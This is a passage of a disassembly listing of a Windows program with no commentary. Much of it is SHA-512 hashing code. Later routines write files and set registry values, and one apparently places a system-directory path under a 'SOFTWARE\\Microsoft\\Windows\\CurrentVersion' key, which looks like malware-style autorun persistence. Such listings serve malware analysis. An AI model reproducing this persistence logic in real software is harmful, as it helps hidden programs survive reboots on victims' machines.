[esp+170h+var_9C] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_F8] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_F4] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_F8] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_F4] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_D8] adc edx, [esp+170h+var_D4] add ecx, [esp+170h+var_C0] adc edx, [esp+170h+var_BC] mov [eax+0B8h], ecx mov [eax+0BCh], edx mov eax, edx mov [esp+170h+var_C0], ecx mov [esp+170h+var_BC], eax mov [esp+170h+var_30], ecx jmp short loc_416454 ; --------------------------------------------------------------------------- loc_41643F: ; CODE XREF: sub_4143D0+1F7Ej mov edx, [esp+170h+var_C0] mov eax, [esp+170h+var_BC] mov [esp+170h+var_30], edx loc_416454: ; CODE XREF: sub_4143D0+206Dj mov ecx, [esp+170h+var_11C] mov ebx, ecx mov [esp+170h+var_2C], eax mov eax, [esp+170h+var_120] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_11C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh shr ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_158] xor esi, ecx mov ecx, [esp+170h+var_11C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_154] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_148] not ebx and ebx, [esp+170h+var_14C] not edi and edi, [esp+170h+var_150] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_41F9B8[eax*8] adc esi, ds:dword_41F9BC[eax*8] add edx, [esp+170h+var_30] mov eax, [esp+170h+var_128] adc esi, [esp+170h+var_2C] add ecx, edx mov edx, [esp+170h+var_144] adc edx, esi add eax, ecx adc [esp+170h+var_124], edx mov [esp+170h+var_148], ecx mov ecx, [esp+170h+var_140] mov [esp+170h+var_144], edx mov edx, [esp+170h+var_13C] mov ebx, ecx mov ebp, edx shrd ebx, ebp, 1Ch xor edi, edi or edi, ebx mov esi, ecx mov ebx, edx shld edx, ecx, 1Eh shr ebp, 1Ch shl esi, 4 or esi, ebp shr ebx, 2 shl ecx, 1Eh xor ebp, ebp or ebx, ecx mov [esp+170h+var_128], eax or ebp, edx mov ecx, [esp+170h+var_13C] xor esi, ebp mov ebp, [esp+170h+var_140] mov edx, ecx shld ecx, ebp, 19h xor edi, ebx shr edx, 7 xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_98] and ecx, [esp+170h+var_140] shl ebp, 19h xor ecx, [esp+170h+var_90] or edx, ebp xor edi, edx mov edx, [esp+170h+var_94] and edx, [esp+170h+var_13C] xor esi, ebx xor edx, [esp+170h+var_8C] add edi, ecx adc esi, edx add [esp+170h+var_148], edi adc [esp+170h+var_144], esi cmp [esp+170h+var_15C], 0 jz loc_4166A0 mov eax, [esp+170h+var_B0] mov ecx, [esp+170h+var_AC] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_AC] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_E0] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_DC] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_E0] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_DC] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor edi, eax mov eax, [esp+170h+arg_0] xor esi, ecx mov ecx, [esp+170h+var_160] add ecx, edi adc edx, esi add ecx, [esp+170h+var_118] adc edx, [esp+170h+var_114] add ecx, [esp+170h+var_A0] adc edx, [esp+170h+var_9C] mov [eax+0C0h], ecx mov [eax+0C4h], edx mov eax, edx mov [esp+170h+var_9C], eax mov [esp+170h+var_1C], eax mov eax, [esp+170h+var_128] mov [esp+170h+var_A0], ecx mov [esp+170h+var_20], ecx jmp short loc_4166BC ; --------------------------------------------------------------------------- loc_4166A0: ; CODE XREF: sub_4143D0+21CEj mov edx, [esp+170h+var_A0] mov ecx, [esp+170h+var_9C] mov [esp+170h+var_20], edx mov [esp+170h+var_1C], ecx loc_4166BC: ; CODE XREF: sub_4143D0+22CEj mov ecx, [esp+170h+var_124] mov ebx, ecx xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_124] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_120] xor esi, ecx mov ecx, [esp+170h+var_124] and ebp, eax mov edi, eax mov eax, [esp+170h+var_11C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_14C] not ebx and ebx, [esp+170h+var_154] not edi and edi, [esp+170h+var_158] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_41F9C0[eax*8] adc esi, ds:dword_41F9C4[eax*8] add edx, [esp+170h+var_20] mov eax, [esp+170h+var_150] adc esi, [esp+170h+var_1C] add eax, edx adc ecx, esi add [esp+170h+var_130], eax mov [esp+170h+var_14C], ecx mov [esp+170h+var_150], eax adc [esp+170h+var_12C], ecx mov eax, [esp+170h+var_144] mov ecx, [esp+170h+var_148] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_148] mov ebp, eax shld ebp, ebx, 19h xor edx, edx or edx, ebp mov ebp, [esp+170h+var_13C] xor ebp, [esp+170h+var_134] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_140] xor edi, ecx mov ecx, [esp+170h+var_138] and ebp, eax mov eax, [esp+170h+var_13C] and eax, [esp+170h+var_134] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_148] and edx, ecx xor ebx, edx xor ebp, eax add edi, ebx adc esi, ebp add [esp+170h+var_150], edi adc [esp+170h+var_14C], esi cmp [esp+170h+var_15C], 0 jz loc_4168EA mov eax, [esp+170h+var_C0] mov ecx, [esp+170h+var_BC] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_BC] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_100] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_FC] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_100] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_FC] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_C8] adc edx, [esp+170h+var_C4] add ecx, [esp+170h+var_E0] adc edx, [esp+170h+var_DC] mov [eax+0C8h], ecx mov [eax+0CCh], edx mov eax, edx mov [esp+170h+var_E0], ecx mov [esp+170h+var_DC], eax mov [esp+170h+var_10], ecx jmp short loc_4168FF ; --------------------------------------------------------------------------- loc_4168EA: ; CODE XREF: sub_4143D0+2429j mov edx, [esp+170h+var_E0] mov eax, [esp+170h+var_DC] mov [esp+170h+var_10], edx loc_4168FF: ; CODE XREF: sub_4143D0+2518j mov ecx, [esp+170h+var_12C] mov ebx, ecx mov [esp+170h+var_C], eax mov eax, [esp+170h+var_130] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_12C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_128] xor esi, ecx mov ecx, [esp+170h+var_12C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_124] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_154] not ebx and ebx, [esp+170h+var_11C] not edi and edi, [esp+170h+var_120] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_41F9C8[eax*8] adc esi, ds:dword_41F9CC[eax*8] add edx, [esp+170h+var_10] mov eax, [esp+170h+var_158] adc esi, [esp+170h+var_C] add eax, edx adc ecx, esi add [esp+170h+var_138], eax mov [esp+170h+var_154], ecx mov [esp+170h+var_158], eax adc [esp+170h+var_134], ecx mov ecx, [esp+170h+var_150] mov eax, [esp+170h+var_14C] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_150] mov ebp, eax shld ebp, ebx, 19h shl ebx, 19h xor edx, edx or edx, ebp mov ecx, eax shr ecx, 7 or ecx, ebx xor edi, ecx mov ecx, [esp+170h+var_150] xor esi, edx mov edx, [esp+170h+var_140] mov ebx, ecx and ecx, edx xor ebx, edx and ebx, [esp+170h+var_148] mov ebp, eax xor ebp, [esp+170h+var_13C] mov edx, ecx and ebp, [esp+170h+var_144] mov ecx, [esp+170h+var_13C] and eax, ecx xor ebx, edx xor ebp, eax add edi, ebx adc esi, ebp add [esp+170h+var_158], edi mov edi, [esp+170h+var_15C] adc [esp+170h+var_154], esi add edi, 10h cmp edi, 50h mov [esp+170h+var_15C], edi jb loc_414560 mov eax, [esp+170h+var_4] mov edx, [esp+170h+var_158] add [eax], edx mov edx, [esp+170h+var_154] pop edi adc [eax+4], edx mov eax, [esp+16Ch+arg_0] mov edx, [esp+16Ch+var_150] add [eax+18h], edx mov edx, [esp+16Ch+var_14C] pop esi adc [eax+1Ch], edx mov edx, [esp+168h+var_148] add [eax+20h], edx mov edx, [esp+168h+var_144] pop ebp adc [eax+24h], edx mov edx, [esp+164h+var_140] add [eax+28h], edx mov edx, [esp+164h+var_134] pop ebx adc [eax+2Ch], ecx mov ecx, [esp+160h+var_138] add [eax+30h], ecx mov ecx, [esp+160h+var_130] adc [eax+34h], edx add [eax+38h], ecx mov edx, [esp+160h+var_12C] mov ecx, [esp+160h+var_128] adc [eax+3Ch], edx add [eax+40h], ecx mov edx, [esp+160h+var_124] mov ecx, [esp+160h+var_120] adc [eax+44h], edx add [eax+48h], ecx mov edx, [esp+160h+var_11C] adc [eax+4Ch], edx add esp, 160h retn sub_4143D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416AE0 proc near ; CODE XREF: .text:00416D62p ; sub_41B7F9+CAp var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov ecx, [ebx] push ebp and ecx, 7Fh push esi lea esi, [ecx+7] shr esi, 3 push edi mov [esp+10h+var_4], ecx jz short loc_416B45 lea edx, [ebx+esi*8+50h] loc_416AF9: ; CODE XREF: sub_416AE0+5Fj mov eax, [edx-8] mov ecx, [edx-4] sub edx, 8 mov edi, eax sub esi, 1 ror edi, 8 and edi, 0FF00FF00h rol eax, 8 and eax, 0FF00FFh or edi, eax mov ebp, ecx xor eax, eax ror ebp, 8 and ebp, 0FF00FF00h rol ecx, 8 and ecx, 0FF00FFh or ebp, ecx xor ecx, ecx or eax, ebp or edi, ecx test esi, esi mov [edx], eax mov [edx+4], edi jnz short loc_416AF9 mov ecx, [esp+10h+var_4] loc_416B45: ; CODE XREF: sub_416AE0+13j mov eax, ecx and eax, 7 add eax, eax add eax, eax mov esi, dword_4249C0[eax+eax] mov edi, dword_4249C4[eax+eax] add eax, eax mov edx, ecx shr edx, 3 and esi, [ebx+edx*8+50h] and edi, [ebx+edx*8+54h] or esi, dword_424A00[eax] or edi, dword_424A04[eax] cmp ecx, 6Fh mov [ebx+edx*8+50h], esi mov [ebx+edx*8+54h], edi jbe short loc_416BAA cmp ecx, 78h jnb short loc_416B9D mov dword ptr [ebx+0C8h], 0 mov dword ptr [ebx+0CCh], 0 loc_416B9D: ; CODE XREF: sub_416AE0+A7j push ebx call sub_4143D0 add esp, 4 xor edx, edx jmp short loc_416BB2 ; --------------------------------------------------------------------------- loc_416BAA: ; CODE XREF: sub_416AE0+A2j add edx, 1 cmp edx, 0Eh jnb short loc_416BD8 loc_416BB2: ; CODE XREF: sub_416AE0+C8j mov ecx, 0Dh sub ecx, edx add ecx, ecx add ecx, ecx lea esi, [ebx+edx*8+50h] add ecx, ecx shr ecx, 2 lea edi, [esi+8] mov dword ptr [esi], 0 mov dword ptr [esi+4], 0 rep movsd loc_416BD8: ; CODE XREF: sub_416AE0+D0j mov edx, [ebx+8] mov esi, [ebx+0Ch] mov ecx, [ebx+4] mov eax, [ebx] shld esi, edx, 3 add edx, edx mov edi, ecx shld ecx, eax, 3 add edx, edx add eax, eax add edx, edx add eax, eax shr edi, 1Dh xor ebp, ebp or edx, edi add eax, eax or esi, ebp push ebx mov [ebx+0C0h], edx mov [ebx+0C4h], esi mov [ebx+0C8h], eax mov [ebx+0CCh], ecx call sub_4143D0 add esp, 4 xor esi, esi loc_416C25: ; CODE XREF: sub_416AE0+171j mov ecx, esi not ecx and ecx, 7 mov edx, esi shr edx, 3 mov eax, [ebx+edx*8+10h] mov edx, [ebx+edx*8+14h] add ecx, ecx add ecx, ecx add ecx, ecx call unknown_libname_137 ; Microsoft VisualC 2-8/net runtime mov ecx, [esp+10h+arg_0] mov [esi+ecx], al add esi, 1 cmp esi, 40h jb short loc_416C25 pop edi pop esi pop ebp pop ecx retn sub_416AE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C60 proc near ; CODE XREF: sub_41B7F9+A3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebx mov ebx, [esp+10h+arg_4] mov eax, [ebx] push ebp mov ebp, [esp+14h+arg_0] push esi push edi and eax, 7Fh mov edi, 80h sub edi, eax mov esi, ecx xor ecx, ecx add [ebx], ebp adc [ebx+4], ecx mov edx, [ebx+4] cmp edx, ecx ja short loc_416C9B jb short loc_416C93 mov ecx, [ebx] cmp ecx, ebp jnb short loc_416C9B loc_416C93: ; CODE XREF: sub_416C60+2Bj add dword ptr [ebx+8], 1 adc dword ptr [ebx+0Ch], 0 loc_416C9B: ; CODE XREF: sub_416C60+29j ; sub_416C60+31j cmp ebp, edi jb loc_416D3F loc_416CA3: ; CODE XREF: sub_416C60+D9j push edi lea edx, [ebx+eax+50h] push esi push edx call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime add esi, edi add esp, 0Ch sub ebp, edi mov [esp+1Ch+var_4], esi mov [esp+1Ch+arg_0], ebp mov edi, 80h mov [esp+1Ch+var_8], 0 mov esi, 10h lea edx, [ebx+0D0h] loc_416CD6: ; CODE XREF: sub_416C60+BCj mov eax, [edx-8] mov ecx, [edx-4] sub edx, 8 mov ebx, eax sub esi, 1 ror ebx, 8 and ebx, 0FF00FF00h rol eax, 8 and eax, 0FF00FFh or ebx, eax mov ebp, ecx xor eax, eax ror ebp, 8 and ebp, 0FF00FF00h rol ecx, 8 and ecx, 0FF00FFh or ebp, ecx xor ecx, ecx or eax, ebp or ebx, ecx test esi, esi mov [edx], eax mov [edx+4], ebx jnz short loc_416CD6 mov ebx, [esp+1Ch+arg_4] push ebx call sub_4143D0 mov ebp, [esp+20h+arg_0] mov eax, [esp+20h+var_8] mov esi, [esp+20h+var_4] add esp, 4 cmp ebp, edi jnb loc_416CA3 loc_416D3F: ; CODE XREF: sub_416C60+3Dj push ebp lea edx, [eax+ebx+50h] push esi push edx call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime add esp, 0Ch pop edi pop esi pop ebp pop ebx add esp, 0Ch retn sub_416C60 endp ; --------------------------------------------------------------------------- align 10h push ecx push eax call sub_416AE0 add esp, 4 pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416D6C(int,int,int,__int16,int,int,int,int,void *Memory,int,char) sub_416D6C proc near ; CODE XREF: sub_416D6C+D5p ; sub_41A9DE+67Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h Memory = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_416D85 mov ecx, [ebp+arg_4] shr ecx, 18h or cl, 1 jmp short loc_416D8B ; --------------------------------------------------------------------------- loc_416D85: ; CODE XREF: sub_416D6C+Cj mov cl, byte ptr [ebp+arg_4+3] and cl, 0FEh loc_416D8B: ; CODE XREF: sub_416D6C+17j movzx eax, word ptr [ebp+arg_24] mov ebx, [ebp+Memory] lea edx, [ebx+18h] cmp edx, eax ja short loc_416DA8 lea edx, [ebx+18h] mov [ebp+arg_14], ebx or cl, 2 mov [ebp+arg_2B], 0 jmp short loc_416DB9 ; --------------------------------------------------------------------------- loc_416DA8: ; CODE XREF: sub_416D6C+2Bj mov dx, word ptr [ebp+arg_24] add eax, 0FFFFFFE8h mov [ebp+arg_14], eax and cl, 0FDh mov [ebp+arg_2B], 1 loc_416DB9: ; CODE XREF: sub_416D6C+3Aj movzx eax, dx push eax ; Size mov byte ptr [ebp+arg_4+3], cl mov [ebp+arg_C], dx mov [ebp+var_4], eax call _malloc test eax, eax pop ecx mov [ebp+Memory], eax jz loc_416E58 push 6 pop ecx mov edi, eax lea esi, [ebp+arg_4] rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime add esp, 0Ch push 0 lea eax, [ebp+var_8] push eax push [ebp+var_4] push [ebp+Memory] push [ebp+arg_0] call ds:dword_41D088 ; WriteFile test eax, eax jz short loc_416E4F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_416E4F push [ebp+Memory] ; Memory call _free cmp [ebp+arg_2B], 0 pop ecx jz short loc_416E4B push 0 ; char push [ebp+arg_24] ; int sub ebx, edi push ebx ; Memory add edi, esi push edi ; int sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] ; int lea esi, [ebp+arg_4] rep movsd call sub_416D6C add esp, 2Ch jmp short loc_416E5A ; --------------------------------------------------------------------------- loc_416E4B: ; CODE XREF: sub_416D6C+B8j mov al, 1 jmp short loc_416E5A ; --------------------------------------------------------------------------- loc_416E4F: ; CODE XREF: sub_416D6C+A1j ; sub_416D6C+A9j push [ebp+Memory] ; Memory call _free pop ecx loc_416E58: ; CODE XREF: sub_416D6C+66j xor al, al loc_416E5A: ; CODE XREF: sub_416D6C+DDj ; sub_416D6C+E1j pop edi pop esi pop ebx leave retn sub_416D6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E5F proc near ; CODE XREF: sub_416F86+154p ; sub_417119+152p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx xor ebx, ebx push ebx lea eax, [ebp+var_4] push eax push ebx push 0F003Fh push ebx push ebx push ebx push [ebp+arg_0] push 80000002h call ds:dword_41D004 ; RegCreateKeyExA test eax, eax jz short loc_416E94 push [ebp+var_4] call ds:dword_41D010 ; RegCloseKey xor al, al loc_416E91: ; CODE XREF: sub_416E5F+68j pop ebx leave retn ; --------------------------------------------------------------------------- loc_416E94: ; CODE XREF: sub_416E5F+25j mov eax, [ebp+arg_8] push esi lea esi, [eax+1] loc_416E9B: ; CODE XREF: sub_416E5F+41j mov cl, [eax] inc eax cmp cl, bl jnz short loc_416E9B sub eax, esi push eax push [ebp+arg_8] push 1 push ebx push [ebp+arg_4] push [ebp+var_4] call ds:dword_41D00C ; RegSetValueExA test eax, eax pop esi jz short loc_416EC9 loc_416EBC: ; CODE XREF: sub_416E5F+6Cj push [ebp+var_4] call ds:dword_41D010 ; RegCloseKey mov al, bl jmp short loc_416E91 ; --------------------------------------------------------------------------- loc_416EC9: ; CODE XREF: sub_416E5F+5Bj mov bl, 1 jmp short loc_416EBC sub_416E5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416ECD(char,int,int,void *,size_t) sub_416ECD proc near ; CODE XREF: sub_416F86+113p ; sub_417119+100p ... var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 1 push 0 push [ebp+arg_4] push 80000002h call ds:dword_41D02C ; RegOpenKeyExA test eax, eax jnz short loc_416F15 lea eax, [ebp+arg_10] push eax push [ebp+arg_C] lea eax, [ebp+arg_0] push eax push 0 push [ebp+arg_8] push [ebp+var_4] call ds:dword_41D008 ; RegQueryValueExA test eax, eax jnz short loc_416F15 push [ebp+var_4] call ds:dword_41D010 ; RegCloseKey mov al, 1 leave retn ; --------------------------------------------------------------------------- loc_416F15: ; CODE XREF: sub_416ECD+1Cj ; sub_416ECD+39j push [ebp+var_4] call ds:dword_41D010 ; RegCloseKey push [ebp+arg_10] ; size_t push 0 ; int push [ebp+arg_C] ; void * call _memset add esp, 0Ch xor al, al leave retn sub_416ECD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F32 proc near ; CODE XREF: sub_419477+134p ; sub_419A9F+F2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx xor ebx, ebx push ebx lea eax, [ebp+var_4] push eax push ebx push 0F003Fh push ebx push ebx push ebx push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41D004 ; RegCreateKeyExA test eax, eax jz short loc_416F65 push [ebp+var_4] call ds:dword_41D010 ; RegCloseKey xor al, al loc_416F62: ; CODE XREF: sub_416F32+4Ej pop ebx leave retn ; --------------------------------------------------------------------------- loc_416F65: ; CODE XREF: sub_416F32+23j push [ebp+arg_8] push [ebp+var_4] call ds:dword_41D000 ; RegDeleteValueA test eax, eax jz short loc_416F82 loc_416F75: ; CODE XREF: sub_416F32+52j push [ebp+var_4] call ds:dword_41D010 ; RegCloseKey mov al, bl jmp short loc_416F62 ; --------------------------------------------------------------------------- loc_416F82: ; CODE XREF: sub_416F32+41j mov bl, 1 jmp short loc_416F75 sub_416F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=94h sub_416F86 proc near ; CODE XREF: .text:loc_41BF0Dp var_114 = dword ptr -114h Memory = dword ptr -110h Dest = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp lea ebp, [esp-94h] sub esp, 114h mov eax, dword_423064 xor eax, ebp mov [ebp+94h+var_4], eax push ebx push esi push edi mov edi, 100h push edi ; unsigned int call j_??2@YAPAXI@Z ; operator new(uint) mov esi, eax push edi ; unsigned int mov [ebp+94h+Memory], esi call j_??2@YAPAXI@Z ; operator new(uint) push edi ; unsigned int mov [ebp+94h+var_108], eax call j_??2@YAPAXI@Z ; operator new(uint) push edi ; unsigned int mov [ebp+94h+var_114], eax call j_??2@YAPAXI@Z ; operator new(uint) push [ebp+94h+var_114] ; void * mov [ebp+94h+Dest], eax call __msize push eax ; size_t xor ebx, ebx push ebx ; int push [ebp+94h+var_114] ; void * call _memset push [ebp+94h+Dest] ; void * call __msize push eax ; size_t push ebx ; int push [ebp+94h+Dest] ; void * call _memset push edi ; size_t lea eax, [ebp+94h+var_104] push ebx ; int push eax ; void * call _memset push esi ; void * call __msize add esp, 40h push eax ; size_t push ebx ; int push esi ; void * call _memset push [ebp+94h+var_108] ; void * call __msize push eax ; size_t push ebx ; int push [ebp+94h+var_108] ; void * call _memset push esi ; void * call __msize push eax mov ebx, offset byte_425119 call sub_4196D1 mov esi, [ebp+94h+var_108] push esi ; void * call __msize push eax mov ebx, offset byte_425061 call sub_4196D1 mov ebx, [ebp+94h+var_114] push ebx ; void * call __msize add esp, 30h dec eax push eax push ebx call ds:dword_41D0F4 ; GetSystemDirectoryA push esi mov esi, [ebp+94h+Dest] push ebx push offset Format ; "%s\\%s" push esi ; void * call __msize pop ecx dec eax push eax ; Count push esi ; Dest call __snprintf mov eax, esi add esp, 14h lea ecx, [eax+1] loc_41707E: ; CODE XREF: sub_416F86+FDj mov dl, [eax] inc eax test dl, dl jnz short loc_41707E sub eax, ecx push edi ; size_t mov [eax+esi], dl lea eax, [ebp+94h+var_104] push eax ; void * push [ebp+94h+Memory] ; int push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 1 ; char call sub_416ECD add esp, 14h test al, al jz short loc_4170D1 lea eax, [ebp+94h+var_104] mov ecx, esi loc_4170AA: ; CODE XREF: sub_416F86+13Cj mov dl, [ecx] cmp dl, [eax] jnz short loc_4170C8 test dl, dl jz short loc_4170C4 mov dl, [ecx+1] cmp dl, [eax+1] jnz short loc_4170C8 inc ecx inc ecx inc eax inc eax test dl, dl jnz short loc_4170AA loc_4170C4: ; CODE XREF: sub_416F86+12Cj xor eax, eax jmp short loc_4170CD ; --------------------------------------------------------------------------- loc_4170C8: ; CODE XREF: sub_416F86+128j ; sub_416F86+134j sbb eax, eax sbb eax, 0FFFFFFFFh loc_4170CD: ; CODE XREF: sub_416F86+140j test eax, eax jz short loc_4170E2 loc_4170D1: ; CODE XREF: sub_416F86+11Dj push esi push [ebp+94h+Memory] push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... call sub_416E5F add esp, 0Ch loc_4170E2: ; CODE XREF: sub_416F86+149j push [ebp+94h+Memory] ; Memory call j_j__free push [ebp+94h+var_108] ; Memory call j_j__free push ebx ; Memory call j_j__free push esi ; Memory call j_j__free mov ecx, [ebp+94h+var_4] add esp, 10h pop edi pop esi xor ecx, ebp pop ebx call sub_402710 add ebp, 94h leave retn sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417119 proc near ; DATA XREF: .text:0041BF1Eo var_504 = byte ptr -504h var_404 = byte ptr -404h var_403 = byte ptr -403h var_304 = byte ptr -304h var_303 = byte ptr -303h var_204 = dword ptr -204h Dest = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 504h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push ebx push esi push edi mov esi, 0FFh xor ebx, ebx push esi ; size_t lea eax, [ebp+var_204+1] push ebx ; int push eax ; void * mov byte ptr [ebp+var_204], bl call _memset push esi ; size_t lea eax, [ebp+var_403] push ebx ; int push eax ; void * mov [ebp+var_404], bl call _memset push esi ; size_t lea eax, [ebp+var_303] push ebx ; int push eax ; void * mov [ebp+var_304], bl call _memset push esi ; size_t lea eax, [ebp+var_103] push ebx ; int push eax ; void * mov [ebp+Dest], bl call _memset 